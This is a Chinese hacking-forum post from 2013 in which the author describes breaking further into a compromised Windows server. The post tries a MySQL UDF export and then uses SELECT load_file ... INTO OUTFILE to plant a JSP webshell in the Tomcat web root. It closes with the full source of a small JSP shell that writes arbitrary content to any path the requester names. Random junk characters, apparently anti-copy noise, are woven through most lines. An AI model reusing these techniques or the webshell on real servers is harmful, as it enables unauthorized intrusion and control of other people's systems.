找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2251|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
, I( S! P$ q9 ?, ]$ i6 M: j5 E4 Q- n2 `0 O+ g1 N
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
! U9 }' I7 o, Y5 e! z安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
4 o; ?* q# y& Y! g+ Q: l$ I提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
( x  d; I3 M; I1 show variables like '%plugin%';
+ J3 l+ f1 j/ q# Z后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功% Q  H4 l  O: `& c6 s" Y- V5 B
创建自定义函数似乎被拦截,一直失败。
% u& P# Q8 i* \) v, |7 P$ p# H9 X后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限0 G* \/ z4 W! y- n8 J; B/ C0 Q
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp. l( a/ g( m8 b' Q
用mysql执行语句:9 u) @' P. d- C
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'+ ^+ j. a3 o6 i& c! I( o1 N
2 复制代码
/ K! n, A) g2 ^% `4 g后成功。
$ {- S3 `3 B0 D. j" A$ @- |2 a  X但是访问后得到如下提示:
5 V) ~- V) M- d2 B0 P3 Y! I$ a​500页面5 ~; k2 m, }& Y- z; p7 k
7 A9 }5 h# O6 W+ Q
% u% h  X  y* i9 `+ h
明显是MySQL的Win下版本自动添加转义符\n\r了1 V5 B" f" c% k* s+ b
这样导致程序运行的悲剧。
1 r2 Z0 V+ w# C9 A4 i( o, x从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。+ t2 w( e( @/ E2 z" G
最后弄了这么个小脚本:
4 X4 p- [4 K* M5 X! @* Z) ?01 <%@ page language="java" pageEncoding="gbk"%>
* j: K4 B% t& u' ~2 b9 q02 <jsp:directive.page import="java.io.File"/>
. L& V) q% C" X- q# B& @03 <jsp:directive.page import="java.io.OutputStream"/>
& K2 u: R7 A3 O3 L9 B6 D04 <jsp:directive.page import="java.io.FileOutputStream"/>. J5 r5 k# @. ]& a4 F4 s* h; T( ~
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
  G% j) j5 o% @8 m06 error www.2cto.com
% r+ ?6 Z% W  q1 P* G07 <%}}if(i==0){%>1 w3 L2 Q( `7 `- k. X- d: R
08 ok
6 B' [2 e9 ^) z09 <%}%>
, d; Y. g2 x. ~" ~; E3 X10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
* j1 B) n9 q: e就可以避免转义符让JSP的马儿运行500错误了。* e& C7 _& V" I. q, _( ^6 b  H9 T  Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表